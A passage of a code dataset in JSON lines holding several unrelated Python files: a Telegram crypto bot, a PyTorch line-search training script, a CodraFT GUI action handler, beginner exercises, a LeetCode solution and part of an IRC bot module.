\"/DOGE\"):\n            pair = \"DOGE\"\n            send_message = \"DOGE - Dogecoin is selected.\\n\" + chs_text\n        elif (message_text.upper() == \"/XRP\"):\n            pair = \"XRP\"\n            send_message = \"XRP - Ripple is selected.\\n\" + chs_text\n        elif (message_text.upper() == \"/ADA\"):\n            pair = \"ADA\"\n            send_message = \"ADA - Cardano is selected.\\n\" + chs_text\n        elif (message_text.upper() == \"/AVAX\"):\n            pair = \"AVAX\"\n            send_message = \"AVAX - Avalance is selected.\\n\" + chs_text\n        elif (message_text.upper() == \"/HOT\"):\n            pair = \"HOT\"\n            send_message = \"HOT - HoloCoin is selected.\\n\" + chs_text\n        elif (message_text.upper() == \"/DOT\"):\n            pair = \"DOT\"\n            send_message = \"DOT - Polkadot is selected.\\n\" + chs_text\n        elif (message_text.upper() == \"/LINK\"):\n            pair = \"LINK\"\n            send_message = \"LINK - Chainlink is selected.\\n\" + chs_text\n        elif (message_text.upper() == \"/XLM\"):\n            pair = \"XLM\"\n            send_message = \"XLM - Stellar is selected.\\n\" + chs_text\n        elif (pair != \"\" and message_text.upper() == \"/ARB\"):\n            arbitraj(pair)\n        elif (pair != \"\" and message_text.upper() == \"/GENERAL\"):\n            analysis(pair, \"GENERAL\")\n        elif (pair != \"\" and message_text.upper() == \"/PSAR\"):\n            analysis(pair, \"PSAR\")\n        elif (pair != \"\" and message_text.upper() == \"/OSC\"):\n            analysis(pair, \"OSC\")\n        elif (pair != \"\" and message_text.upper() == \"/RSI\"):\n            analysis(pair, \"RSI\")\n        elif (pair != \"\" and message_text.upper() == \"/MACD\"):\n            analysis(pair, \"MACD\")\n        elif (pair != \"\" and message_text.upper() == \"/CCI\"):\n            analysis(pair, \"CCI\")\n        else:\n            send_message = \"Your request is not understood. You can start with\\n/Start.\"\n\n        requests.post(url=send_url, data={'chat_id': chat_id, 'text': send_message}).json()\n","repo_name":"okarakas/CryptoBot-Telegram","sub_path":"CryptoBot.py","file_name":"CryptoBot.py","file_ext":"py","file_size_in_byte":9022,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"35"}
{"seq_id":"32619419583","text":"# This is a sample code for using Line Search for training DNN using MNIST data\n# Implemented by Shigeng Sun, Sept 2022\n# Requires PyTorch, SDLS.py and optimizer.py from Pytorch\n# Requires matplotlib\n# Under active development, \n# tested and working for SGD without momentum\n\nimport torch\nfrom torch import nn\nfrom torch.utils.data import DataLoader\nfrom torchvision import datasets\nfrom torchvision.transforms import ToTensor\nfrom SDLS import SDLS\nimport matplotlib.pyplot as plt\n\n# Download training data from open datasets.\ntraining_data = datasets.FashionMNIST(\n    root=\"data\",\n    train=True,\n    download=True,\n    transform=ToTensor(),\n)\n\n# Download test data from open datasets.\ntest_data = datasets.FashionMNIST(\n    root=\"data\",\n    train=False,\n    download=True,\n    transform=ToTensor(),\n)\n\n\n\nbatch_size = 128\nlr = .8      # initial learning rate\ntau = 1.5   # lr retraction ratio\nc_0 = 0.1   # if rho is below this, lr gets divided    by tau\n# initialize SDLS memory buffers and memory lengths\nmem_len = 100\nrho_list  = []\nlr_list   = []\nloss_list = []\nTrn_accy  = []\ni = 0\n\n# Create data loaders.\ntrain_dataloader = DataLoader(training_data, batch_size=batch_size)\ntest_dataloader  = DataLoader(test_data, batch_size=batch_size)\n\nfor X, y in test_dataloader:\n    print(f\"Shape of X [N, C, H, W]: {X.shape}\") # batch, ? , height of image, width of image\n    print(f\"Shape of y: {y.shape} {y.dtype}\")    # label\n    break\n\n# Get cpu or gpu device for training.\ndevice = \"cuda\" if torch.cuda.is_available() else \"cpu\"\nprint(f\"Using {device} device\")\n\n# Define model\nclass NeuralNetwork(nn.Module):\n    def __init__(self):\n        super(NeuralNetwork, self).__init__()\n        self.flatten = nn.Flatten()\n        self.linear_relu_stack = nn.Sequential(\n            nn.Linear(28*28, 512),\n            nn.ReLU(),#nn.ReLU(),\n            nn.Linear(512, 512),\n            nn.ReLU(), #nn.ReLU(),Sigmoid\n            nn.Linear(512, 10) \n        )\n\n    def forward(self, x):\n        x = self.flatten(x)\n        logits = self.linear_relu_stack(x)\n        return logits\n\nmodel = NeuralNetwork().to(device)\nprint(model)\n\nloss_fn = nn.CrossEntropyLoss()\noptimizer = SDLS(model.parameters(), lr=lr, am = c_0)\n\ndef train(dataloader, model, loss_fn, optimizer):\n    tau = 2   # lr retraction ratio\n    c_0 = 0.4 # if rho is below this, lr gets divided by tau\n    size = len(dataloader.dataset)\n    model.train()\n    i = 0 \n    for batch, (X, y) in enumerate(dataloader):\n        X, y = X.to(device), y.to(device)\n        (Xt , yt) = next(iter(dataloader))\n        Xt, yt = Xt.to(device), yt.to(device)\n        pred = model(X)\n        loss = loss_fn(pred, y)\n        optimizer.zero_grad()\n        loss.backward()\n        grad_norm = 0\n        var_norm = 0\n        dimdim = 0 \n\n        for _ , param in model.named_parameters():\n            dimdim += torch.numel(param.grad)\n            grad_norm += (torch.norm(param.grad))**2\n        lr = optimizer.param_groups[0]['lr']\n\n        # closure implementation specifies sample consistency\n        \n        # note if use Xt and Yt in the implementation, we construct sample inconsistent line search. \n        # If sample inconsistent, may consider relaxing the line search in the optimizer.\n        def closure():\n            optimizer.zero_grad()\n            #output = model(Xt)\n            output = model(X)\n            #loss = loss_fn(output, yt)\n            loss  = loss_fn(output, y)\n            loss.backward()\n            return loss\n\n        rho, lr = optimizer.step(closure,grad_norm,c_0,tau)\n        lr_list.append(lr)\n        print('lr:',lr, 'rho:', rho)\n\n        if batch % 10 == 0:\n            loss, current = loss.item(), batch * len(X)\n            loss_list.append(loss)\n            print(f\"loss: {loss:>7f}  [{current:>5d}/{size:>5d}]\")\n        def test_t(dataloader, model, loss_fn):\n            size = len(dataloader.dataset)\n            num_batches = len(dataloader)\n            model.eval()\n            test_loss, correct = 0, 0\n            with torch.no_grad():\n                for X, y in dataloader:\n                    X, y = X.to(device), y.to(device)\n                    pred = model(X)\n                    test_loss += loss_fn(pred, y).item()\n                    correct += (pred.argmax(1) == y).type(torch.float).sum().item()\n            test_loss /= num_batches\n            correct /= size\n            return correct\n        i += 1\n        if i%100 == 0:\n            Trn_accy.append(test_t(dataloader, model, loss_fn))\n\ndef test(dataloader, model, loss_fn):\n    size = len(dataloader.dataset)\n    num_batches = len(dataloader)\n    model.eval()\n    test_loss, correct = 0, 0\n    with torch.no_grad():\n        for X, y in dataloader:\n            X, y = X.to(device), y.to(device)\n            pred = model(X)\n            test_loss += loss_fn(pred, y).item()\n            correct += (pred.argmax(1) == y).type(torch.float).sum().item()\n    test_loss /= num_batches\n    correct   /= size\n    print(f\"Test Error: \\n Accuracy: {(100*correct):>0.1f}%, Avg loss: {test_loss:>8f} \\n\")\n\nepochs = 5\nfor t in range(epochs):\n    print(f\"Epoch {t+1}\\n-------------------------------\")\n    train(train_dataloader, model, loss_fn, optimizer)\n    test(test_dataloader, model, loss_fn)\n    grad_norm = 0\n    total_norm = 0\n    for p in model.parameters():\n        param_norm = p.grad.data.norm(2)\n        total_norm += param_norm.item() ** 2\n    total_norm = total_norm ** (1. / 2)\n    print(total_norm)\n\n\nfig, (ax1, ax2,ax3) = plt.subplots(3)\nax1.plot(Trn_accy)\nax1.set_title('training accuracy')\nax2.plot(loss_list)\nax2.set_title('stochastic loss')\nax3.plot(lr_list)\nax3.set_title('learning rate')\ntxt=\"stepsize is\",lr , \"; batch size is\", batch_size\n\nplt.figtext(0.5, 0.01, txt, wrap=True, horizontalalignment='center', fontsize=12)\nplt.show()\nprint(\"Done!\")\n","repo_name":"shigengsun/SDLS","sub_path":"minst_ls.py","file_name":"minst_ls.py","file_ext":"py","file_size_in_byte":5811,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"814236870","text":"# -*- coding: utf-8 -*-\n#\n# Licensed under the terms of the BSD 3-Clause or the CeCILL-B License\n# (see codraft/__init__.py for details)\n\n\"\"\"\nCodraFT Action handler module\n\nThis module handles all application actions (menus, toolbars, context menu).\nThese actions point to CodraFT panels, processors, objectlist, ...\n\"\"\"\n\n# pylint: disable=invalid-name  # Allows short reference names like x, y, ...\n\nimport abc\nimport enum\n\nfrom guidata.configtools import get_icon\nfrom guidata.qthelpers import add_actions, create_action\nfrom qtpy import QtGui as QG\nfrom qtpy import QtWidgets as QW\n\nfrom codraft.config import _\nfrom codraft.widgets import fitdialog\n\n\nclass ActionCategory(enum.Enum):\n    \"\"\"Action categories\"\"\"\n\n    FILE = enum.auto()\n    EDIT = enum.auto()\n    VIEW = enum.auto()\n    OPERATION = enum.auto()\n    PROCESSING = enum.auto()\n    COMPUTING = enum.auto()\n\n\nclass BaseActionHandler(metaclass=abc.ABCMeta):\n    \"\"\"Object handling panel GUI interactions: actions, menus, ...\"\"\"\n\n    OBJECT_STR = \"\"  # e.g. \"signal\"\n\n    def __init__(self, panel, objlist, itmlist, processor, toolbar):\n        self.panel = panel\n        self.objlist = objlist\n        self.itmlist = itmlist\n        self.processor = processor\n        self.feature_actions = {}\n        self.operation_end_actions = None\n        self.delete_roi_action = None\n        # Object selection dependent actions\n        self.actlist_1more = []\n        self.actlist_2more = []\n        self.actlist_1 = []\n        self.actlist_2 = []\n        self.actlist_cmenu = []  # Context menu\n        if self.__class__ is not BaseActionHandler:\n            self.create_all_actions(toolbar)\n\n    def get_context_menu_actions(self):\n        \"\"\"Return context menu action list\"\"\"\n        return self.actlist_cmenu\n\n    def selection_rows_changed(self):\n        \"\"\"Number of selected rows has changed\"\"\"\n        selrows = self.objlist.get_selected_rows()\n        nbrows = len(selrows)\n        for act in self.actlist_1more:\n            act.setEnabled(nbrows >= 1)\n        for act in self.actlist_2more:\n            act.setEnabled(nbrows >= 2)\n        for act in self.actlist_1:\n            act.setEnabled(nbrows == 1)\n        for act in self.actlist_2:\n            act.setEnabled(nbrows == 2)\n        self.delete_roi_action.setEnabled(False)\n        for row in selrows:\n            obj = self.objlist[row]\n            if obj.roi is not None:\n                self.delete_roi_action.setEnabled(True)\n                break\n\n    def create_all_actions(self, toolbar):\n        \"\"\"Setup actions, menus, toolbar\"\"\"\n        featact = self.feature_actions\n        featact[ActionCategory.FILE] = file_act = self.create_file_actions()\n        featact[ActionCategory.EDIT] = edit_act = self.create_edit_actions()\n        featact[ActionCategory.VIEW] = view_act = self.create_view_actions()\n        featact[ActionCategory.OPERATION] = self.create_operation_actions()\n        featact[ActionCategory.PROCESSING] = self.create_processing_actions()\n        featact[ActionCategory.COMPUTING] = self.create_computing_actions()\n        add_actions(toolbar, file_act + [None] + edit_act + [None] + view_act)\n\n    def cra(\n        self, title, triggered=None, toggled=None, shortcut=None, icon=None, tip=None\n    ):\n        \"\"\"Create action convenience method\"\"\"\n        return create_action(self.panel, title, triggered, toggled, shortcut, icon, tip)\n\n    def create_file_actions(self):\n        \"\"\"Create file actions\"\"\"\n        new_act = self.cra(\n            _(\"New %s...\") % self.OBJECT_STR,\n            icon=get_icon(f\"new_{self.OBJECT_STR}.svg\"),\n            tip=_(\"Create new %s\") % self.OBJECT_STR,\n            triggered=self.panel.new_object,\n            shortcut=QG.QKeySequence(QG.QKeySequence.New),\n        )\n        open_act = self.cra(\n            _(\"Open %s...\") % self.OBJECT_STR,\n            icon=get_icon(\"libre-gui-import.svg\"),\n            tip=_(\"Open %s\") % self.OBJECT_STR,\n            triggered=self.panel.open_objects,\n            shortcut=QG.QKeySequence(QG.QKeySequence.Open),\n        )\n        save_act = self.cra(\n            _(\"Save %s...\") % self.OBJECT_STR,\n            icon=get_icon(\"libre-gui-export.svg\"),\n            tip=_(\"Save selected %s\") % self.OBJECT_STR,\n            triggered=self.panel.save_objects,\n            shortcut=QG.QKeySequence(QG.QKeySequence.Save),\n        )\n        importmd_act = self.cra(\n            _(\"Import metadata into %s...\") % self.OBJECT_STR,\n            icon=get_icon(\"metadata_import.svg\"),\n            tip=_(\"Import metadata into %s\") % self.OBJECT_STR,\n            triggered=self.panel.import_metadata_from_file,\n        )\n        exportmd_act = self.cra(\n            _(\"Export metadata from %s...\") % self.OBJECT_STR,\n            icon=get_icon(\"metadata_export.svg\"),\n            tip=_(\"Export selected %s metadata\") % self.OBJECT_STR,\n            triggered=self.panel.export_metadata_from_file,\n        )\n        self.actlist_1more += [save_act]\n        self.actlist_cmenu += [save_act]\n        self.actlist_1 += [importmd_act, exportmd_act]\n        return [new_act, open_act, save_act, None, importmd_act, exportmd_act]\n\n    def create_edit_actions(self):\n        \"\"\"Create edit actions\"\"\"\n        dup_action = self.cra(\n            _(\"Duplicate\"),\n            icon=get_icon(\"libre-gui-copy.svg\"),\n            triggered=self.panel.duplicate_object,\n            shortcut=QG.QKeySequence(QG.QKeySequence.Copy),\n        )\n        cpymeta_action = self.cra(\n            _(\"Copy metadata\"),\n            icon=get_icon(\"metadata_copy.svg\"),\n            triggered=self.panel.copy_metadata,\n        )\n        pstmeta_action = self.cra(\n            _(\"Paste metadata\"),\n            icon=get_icon(\"metadata_paste.svg\"),\n            triggered=self.panel.paste_metadata,\n        )\n        cleanup_action = self.cra(\n            _(\"Clean up data view\"),\n            icon=get_icon(\"libre-tools-vacuum-cleaner.svg\"),\n            tip=_(\"Clean up data view before updating plotting panels\"),\n            toggled=self.itmlist.toggle_cleanup_dataview,\n        )\n        cleanup_action.setChecked(True)\n        delm_action = self.cra(\n            _(\"Delete object metadata\"),\n            icon=get_icon(\"metadata_delete.svg\"),\n            tip=_(\"Delete all that is contained in object metadata\"),\n            triggered=self.panel.delete_metadata,\n        )\n        delall_action = self.cra(\n            _(\"Delete all\"),\n            shortcut=\"Shift+Ctrl+Suppr\",\n            icon=get_icon(\"delete_all.svg\"),\n            triggered=self.panel.delete_all_objects,\n        )\n        del_action = self.cra(\n            _(\"Remove\"),\n            icon=get_icon(\"delete.svg\"),\n            triggered=self.panel.remove_object,\n            shortcut=QG.QKeySequence(QG.QKeySequence.Delete),\n        )\n        self.actlist_1more += [\n            dup_action,\n            del_action,\n            delm_action,\n            pstmeta_action,\n            delall_action,\n        ]\n        self.actlist_cmenu += [dup_action, del_action]\n        self.actlist_1 += [cpymeta_action]\n        return [\n            dup_action,\n            del_action,\n            delall_action,\n            None,\n            cpymeta_action,\n            pstmeta_action,\n            delm_action,\n        ]\n\n    def create_view_actions(self):\n        \"\"\"Create view actions\"\"\"\n        view_action = self.cra(\n            _(\"View in a new window\"),\n            icon=get_icon(\"libre-gui-binoculars.svg\"),\n            triggered=self.panel.open_separate_view,\n        )\n        showlabel_action = self.cra(\n            _(\"Show graphical object titles\"),\n            icon=get_icon(\"show_titles.svg\"),\n            tip=_(\"Show or hide ROI and other graphical object titles or subtitles\"),\n            toggled=self.panel.toggle_show_titles,\n        )\n        showlabel_action.setChecked(False)\n        self.actlist_1more += [view_action]\n        self.actlist_cmenu = [view_action, None] + self.actlist_cmenu\n        return [view_action, showlabel_action]\n\n    def create_operation_actions(self):\n        \"\"\"Create operation actions\"\"\"\n        proc = self.processor\n        sum_action = self.cra(_(\"Sum\"), proc.compute_sum)\n        average_action = self.cra(_(\"Average\"), proc.compute_average)\n        diff_action = self.cra(_(\"Difference\"), lambda: proc.compute_difference(False))\n        qdiff_action = self.cra(\n            _(\"Quadratic difference\"), lambda: proc.compute_difference(True)\n        )\n        prod_action = self.cra(_(\"Product\"), proc.compute_product)\n        div_action = self.cra(_(\"Division\"), proc.compute_division)\n        roi_action = self.cra(\n            _(\"ROI extraction\"),\n            proc.extract_roi,\n            icon=get_icon(f\"{self.OBJECT_STR}_roi.svg\"),\n        )\n        swapaxes_action = self.cra(_(\"Swap X/Y axes\"), proc.swap_axes)\n        abs_action = self.cra(_(\"Absolute value\"), proc.compute_abs)\n        log_action = self.cra(\"Log10(y)\", proc.compute_log10)\n        self.actlist_1more += [roi_action, swapaxes_action, abs_action, log_action]\n        self.actlist_2more += [sum_action, average_action, prod_action]\n        self.actlist_2 += [diff_action, qdiff_action, div_action]\n        self.operation_end_actions = [roi_action, swapaxes_action]\n        return [\n            sum_action,\n            average_action,\n            diff_action,\n            qdiff_action,\n            prod_action,\n            div_action,\n            None,\n            abs_action,\n            log_action,\n        ]\n\n    def create_processing_actions(self):\n        \"\"\"Create processing actions\"\"\"\n        proc = self.processor\n        threshold_action = self.cra(_(\"Thresholding\"), proc.compute_threshold)\n        clip_action = self.cra(_(\"Clipping\"), proc.compute_clip)\n        lincal_action = self.cra(_(\"Linear calibration\"), proc.calibrate)\n        gauss_action = self.cra(_(\"Gaussian filter\"), proc.compute_gaussian)\n        movavg_action = self.cra(_(\"Moving average\"), proc.compute_moving_average)\n        movmed_action = self.cra(_(\"Moving median\"), proc.compute_moving_median)\n        wiener_action = self.cra(_(\"Wiener filter\"), proc.compute_wiener)\n        fft_action = self.cra(_(\"FFT\"), proc.compute_fft)\n        ifft_action = self.cra(_(\"Inverse FFT\"), proc.compute_ifft)\n        for act in (fft_action, ifft_action):\n            act.setToolTip(_(\"Warning: only real part is plotted\"))\n        actions = [\n            threshold_action,\n            clip_action,\n            lincal_action,\n            gauss_action,\n            movavg_action,\n            movmed_action,\n            wiener_action,\n            fft_action,\n            ifft_action,\n        ]\n        self.actlist_1more += actions\n        return actions\n\n    @abc.abstractmethod\n    def create_computing_actions(self):\n        \"\"\"Create computing actions\"\"\"\n        proc = self.processor\n        defineroi_action = self.cra(\n            _(\"Edit regions of interest...\"),\n            triggered=proc.edit_regions_of_interest,\n            icon=get_icon(\"roi.svg\"),\n        )\n        self.delete_roi_action = self.cra(\n            _(\"Remove regions of interest\"),\n            triggered=proc.delete_regions_of_interest,\n            icon=get_icon(\"roi_delete.svg\"),\n        )\n        stats_action = self.cra(\n            _(\"Statistics\") + \"...\",\n            triggered=proc.compute_stats,\n            icon=get_icon(\"stats.svg\"),\n        )\n        self.actlist_1 += [defineroi_action, self.delete_roi_action, stats_action]\n        self.actlist_cmenu += [\n            None,\n            defineroi_action,\n            self.delete_roi_action,\n            None,\n            stats_action,\n        ]\n        return [defineroi_action, self.delete_roi_action, None, stats_action]\n\n\nclass SignalActionHandler(BaseActionHandler):\n    \"\"\"Object handling signal panel GUI interactions: actions, menus, ...\"\"\"\n\n    OBJECT_STR = _(\"signal\")\n\n    def create_operation_actions(self):\n        \"\"\"Create operation actions\"\"\"\n        base_actions = super().create_operation_actions()\n        proc = self.processor\n        peakdetect_action = self.cra(\n            _(\"Peak detection\"),\n            proc.detect_peaks,\n            icon=get_icon(\"peak_detect.svg\"),\n        )\n        self.actlist_1more += [peakdetect_action]\n        roi_actions = self.operation_end_actions\n        return base_actions + [None, peakdetect_action, None] + roi_actions\n\n    def create_processing_actions(self):\n        \"\"\"Create processing actions\"\"\"\n        base_actions = super().create_processing_actions()\n        proc = self.processor\n        normalize_action = self.cra(_(\"Normalize\"), proc.normalize)\n        deriv_action = self.cra(_(\"Derivative\"), proc.compute_derivative)\n        integ_action = self.cra(_(\"Integral\"), proc.compute_integral)\n        polyfit_action = self.cra(_(\"Polynomial fit\"), proc.compute_polyfit)\n        mgfit_action = self.cra(_(\"Multi-Gaussian fit\"), proc.compute_multigaussianfit)\n\n        def cra_fit(title, fitdlgfunc):\n            \"\"\"Create curve fitting action\"\"\"\n            return self.cra(title, lambda: proc.compute_fit(title, fitdlgfunc))\n\n        gaussfit_action = cra_fit(_(\"Gaussian fit\"), fitdialog.gaussianfit)\n        lorentzfit_action = cra_fit(_(\"Lorentzian fit\"), fitdialog.lorentzianfit)\n        voigtfit_action = cra_fit(_(\"Voigt fit\"), fitdialog.voigtfit)\n        actions1 = [normalize_action, deriv_action, integ_action]\n        actions2 = [\n            gaussfit_action,\n            lorentzfit_action,\n            voigtfit_action,\n            polyfit_action,\n            mgfit_action,\n        ]\n        self.actlist_1more += actions1 + actions2\n        return actions1 + [None] + base_actions + [None] + actions2\n\n    def create_computing_actions(self):\n        \"\"\"Create computing actions\"\"\"\n        base_actions = super().create_computing_actions()\n        proc = self.processor\n        fwhm_action = self.cra(\n            _(\"Full width at half-maximum\"),\n            triggered=proc.compute_fwhm,\n            tip=_(\"Compute Full Width at Half-Maximum (FWHM)\"),\n        )\n        fw1e2_action = self.cra(\n            _(\"Full width at\") + \" 1/e²\",\n            triggered=proc.compute_fw1e2,\n            tip=_(\"Compute Full Width at Maximum\") + \"/e²\",\n        )\n        self.actlist_1more += [fwhm_action, fw1e2_action]\n        return base_actions + [fwhm_action, fw1e2_action]\n\n\nclass ImageActionHandler(BaseActionHandler):\n    \"\"\"Object handling image panel GUI interactions: actions, menus, ...\"\"\"\n\n    OBJECT_STR = _(\"image\")\n\n    def create_view_actions(self):\n        \"\"\"Create view actions\"\"\"\n        base_actions = super().create_view_actions()\n        showcontrast_action = self.cra(\n            _(\"Show contrast panel\"),\n            icon=get_icon(\"contrast.png\"),\n            tip=_(\"Show or hide contrast adjustment panel\"),\n            toggled=self.panel.toggle_show_contrast,\n        )\n        showcontrast_action.setChecked(True)\n        self.actlist_1more += [showcontrast_action]\n        return base_actions + [showcontrast_action]\n\n    def create_operation_actions(self):\n        \"\"\"Create operation actions\"\"\"\n        base_actions = super().create_operation_actions()\n        proc = self.processor\n        rotate_menu = QW.QMenu(_(\"Rotation\"), self.panel)\n        hflip_act = self.cra(\n            _(\"Flip horizontally\"),\n            triggered=proc.flip_horizontally,\n            icon=get_icon(\"flip_horizontally.svg\"),\n        )\n        vflip_act = self.cra(\n            _(\"Flip vertically\"),\n            triggered=proc.flip_vertically,\n            icon=get_icon(\"flip_vertically.svg\"),\n        )\n        rot90_act = self.cra(\n            _(\"Rotate %s right\") % \"90°\",  # pylint: disable=consider-using-f-string\n            triggered=proc.rotate_270,\n            icon=get_icon(\"rotate_right.svg\"),\n        )\n        rot270_act = self.cra(\n            _(\"Rotate %s left\") % \"90°\",  # pylint: disable=consider-using-f-string\n            triggered=proc.rotate_90,\n            icon=get_icon(\"rotate_left.svg\"),\n        )\n        rotate_act = self.cra(\n            _(\"Rotate arbitrarily...\"), triggered=proc.rotate_arbitrarily\n        )\n        resize_act = self.cra(_(\"Resize\"), triggered=proc.resize_image)\n        logp1_act = self.cra(\"Log10(z+n)\", triggered=proc.compute_logp1)\n        flatfield_act = self.cra(\n            _(\"Flat-field correction\"), triggered=proc.flat_field_correction\n        )\n        self.actlist_2 += [flatfield_act]\n        self.actlist_1more += [\n            resize_act,\n            hflip_act,\n            vflip_act,\n            logp1_act,\n            rot90_act,\n            rot270_act,\n            rotate_act,\n        ]\n        self.actlist_cmenu += [None, hflip_act, vflip_act, rot90_act, rot270_act]\n        add_actions(\n            rotate_menu, [hflip_act, vflip_act, rot90_act, rot270_act, rotate_act]\n        )\n        roi_actions = self.operation_end_actions\n        actions = [\n            logp1_act,\n            flatfield_act,\n            None,\n            rotate_menu,\n            None,\n            resize_act,\n        ]\n        return base_actions + actions + roi_actions\n\n    def create_computing_actions(self):\n        \"\"\"Create computing actions\"\"\"\n        base_actions = super().create_computing_actions()\n        proc = self.processor\n        # TODO: [P3] Add \"Create ROI grid...\" action to create a regular grid or ROIs\n        cent_act = self.cra(\n            _(\"Centroid\"), proc.compute_centroid, tip=_(\"Compute image centroid\")\n        )\n        encl_act = self.cra(\n            _(\"Minimum enclosing circle center\"),\n            proc.compute_enclosing_circle,\n            tip=_(\"Compute smallest enclosing circle center\"),\n        )\n        peak_act = self.cra(\n            _(\"2D peak detection\"),\n            proc.compute_peak_detection,\n            tip=_(\"Compute automatic 2D peak detection\"),\n        )\n        contour_act = self.cra(\n            _(\"Contour detection\"),\n            proc.compute_contour_shape,\n            tip=_(\"Compute contour shape fit\"),\n        )\n        self.actlist_1more += [cent_act, encl_act, peak_act, contour_act]\n        return base_actions + [cent_act, encl_act, peak_act, contour_act]\n","repo_name":"Codra-Ingenierie-Informatique/CodraFT","sub_path":"codraft/core/gui/actionhandler.py","file_name":"actionhandler.py","file_ext":"py","file_size_in_byte":18110,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"35"}
{"seq_id":"16951285974","text":"#Estudando Listas/São mutáveis\nnum = [2, 3, 6, 9, 13]\nnum [3] = 7 #Alterar um item\nnum.append(7) #Adicionar um item substituindo\nnum.sort(reverse=True) #Colocando em ordem decrescente\nnum.sort() #colocando em ordem crescente\nnum.insert(2, 0) #Insere um valor sem substituir\nnum.pop(2) #remove um item da lista\nprint(num)\nprint(f'Esta lista tem {len(num)} elementos.')\n\nvalores = []\nfor cont in range(0, 5):\n    valores.append(int(input('Digite um valor: ')))\n#valores.append(8)\n#valores.append(7)\n#valores.append(4)\n#valores.append(13)\n\nfor c, v in enumerate(valores):\n    print(f'Na posição {c} encontrei o valor {v}!')\nprint('Chueguei ao final da lista.')\n","repo_name":"carlosaljuniorcg/CursoEmVideoPython","sub_path":"ex084 - LISTAS.py","file_name":"ex084 - LISTAS.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29613177726","text":"import random\n\nlists_with_tuples = []\nwrong_lst = []\n\n\ndef _print_info(lang: str):\n    print(\"Hello, remember that u should use '_' instead ' ' and '/' with two translations.\")\n    \n    if lang == 'en':\n        print(\"There will be random form and u should write forms from left to right and then translation\")\n    else:\n        print(\"There will be random translation and u should write forms from left to right with spaces\")\n    \n    print(\"\")\n\n\nwith open('word_list.txt', 'r', encoding='utf-8') as f:\n    lines = f.readlines()\n\nfor el in lines:\n    curr_tuple = el.split(\" \")\n    if '\\n' in curr_tuple[-1]:\n        curr_tuple[-1] = curr_tuple[-1][:-1]\n    lists_with_tuples.append(curr_tuple)\n    \nif __name__ == '__main__':\n    lang = input(\"Would you like to learn: 'en' or 'ru' ? \")\n    _print_info(lang)\n\n    if lang == 'en':\n        lst = list(range(0, len(lists_with_tuples)))\n        random.shuffle(lst)\n        for n, id in enumerate(lst):\n            num_from = random.randint(0, 2)\n            answer = input(f'{n+1}/{len(lst)}. {lists_with_tuples[id][num_from]}: ').lower()\n            currect_answer = lists_with_tuples[id].copy()\n            currect_answer.remove(lists_with_tuples[id][num_from])\n            for num, words_from_answer in enumerate(answer.split(\" \")):\n                if words_from_answer != currect_answer[num]:\n                    print(f\"Sorry, but you are wrong! Right is '{lists_with_tuples[id]}'\")\n                    if input(\"Do you want to add the word to the mistakes dict ? \").lower() in ('yes', 'y', 'да', '+', 'д'):\n                        wrong_lst.append(lists_with_tuples[id])\n                    break\n            print('_________________')\n\n    else:\n        lst = list(range(0, len(lists_with_tuples)))\n        random.shuffle(lst)\n        for n, id in enumerate(lst):\n            answer = input(f'{n+1}/{len(lst)}. {lists_with_tuples[id][-1]}: ').lower()\n            \n            for num, forms_from_answer in enumerate(answer.split(\" \")):\n                if lists_with_tuples[id][num] != forms_from_answer:\n                    print(f\"Sorry, but you are wrong in {num+1} form! Right is '{lists_with_tuples[id]}'\")\n                    if input(\"Do you want to add the word to the mistakes dict ? \").lower() in ('yes', 'y', 'да', '+', 'д'):\n                        wrong_lst.append(lists_with_tuples[id])\n            \n            print('_________________')\n    \n    print(f'You were wrong in the next words ({wrong_lst.__len__()}/{len(lst)}):')\n    for el in wrong_lst:\n        print(el)\n","repo_name":"zendrio-ex/english","sub_path":"tools/irreg_verbs.py","file_name":"irreg_verbs.py","file_ext":"py","file_size_in_byte":2545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74181220580","text":"class Solution:\n    def mostPoints(self, questions: List[List[int]]) -> int:\n        \"\"\"\n        Returns the maximum points that can be earned by solving questions.\n\n        Args:\n            questions: A 2D array of integers where questions[i] = [pointsi, brainpoweri].\n\n        Returns:\n            The maximum points that can be earned.\n        \"\"\"\n        n = len(questions)\n        @cache\n        def go(index):\n            if index >= n: return 0\n            points, skip = questions[index]\n            res = go(index + 1)\n            res = max(res, points + go(index + skip + 1))\n            return res\n        return go(0)\n","repo_name":"AyushAgnihotri2025/CP-Solutions","sub_path":"LeetCode/Python3/Medium/2140. Solving Questions With Brainpower/2140-solving-questions-with-brainpower.py","file_name":"2140-solving-questions-with-brainpower.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"11818260217","text":"# -*- encoding: utf8 -*-\nimport json\nimport re\nimport urllib\n\nimport bones.event\nfrom bones.bot import Module\n\n\nclass NickFix(Module):\n    def __init__(self, *args, **kwargs):\n        Module.__init__(self, *args, **kwargs)\n        self.nickIWant = None\n        self.isRecovering = False\n\n    @bones.event.handler(event=bones.event.UserQuitEvent)\n    @bones.event.handler(event=bones.event.UserNickChangedEvent)\n    def somethingHappened(self, myEvent):\n        user = None\n        if self.nickIWant is None:\n            self.nickIWant = \\\n                self.settings.get(\"bot\", \"nickname\").split(\"\\n\")[0]\n\n        if isinstance(myEvent, bones.event.UserNickChangedEvent) is True:\n            user = myEvent.oldname\n        else:\n            user = myEvent.user.nickname\n\n        if user.lower() == self.nickIWant.lower():\n            myEvent.client.factory.nicknames = \\\n                self.settings.get(\"bot\", \"nickname\").split(\"\\n\")[1:]\n            self.isRecovering = True\n            myEvent.client.setNick(self.nickIWant)\n\n    @bones.event.handler(event=bones.event.BotSignedOnEvent)\n    def resetMe(self, event):\n        self.isRecovering = False\n        self.nickIWant = None\n\n    @bones.event.handler(event=bones.event.PreNicknameInUseError)\n    def shouldWeEvenTry(self, event):\n        if self.isRecovering:\n            event.isCancelled = True\n            self.isRecovering = False\n\n\nclass Ping(Module):\n    def __init__(self, *args, **kwargs):\n        Module.__init__(self, *args, **kwargs)\n        self.ongoingPings = {}\n\n    @bones.event.handler(trigger=\"ping\")\n    def cmdPing(self, event):\n        nick = event.user.nickname\n        if nick not in self.ongoingPings:\n 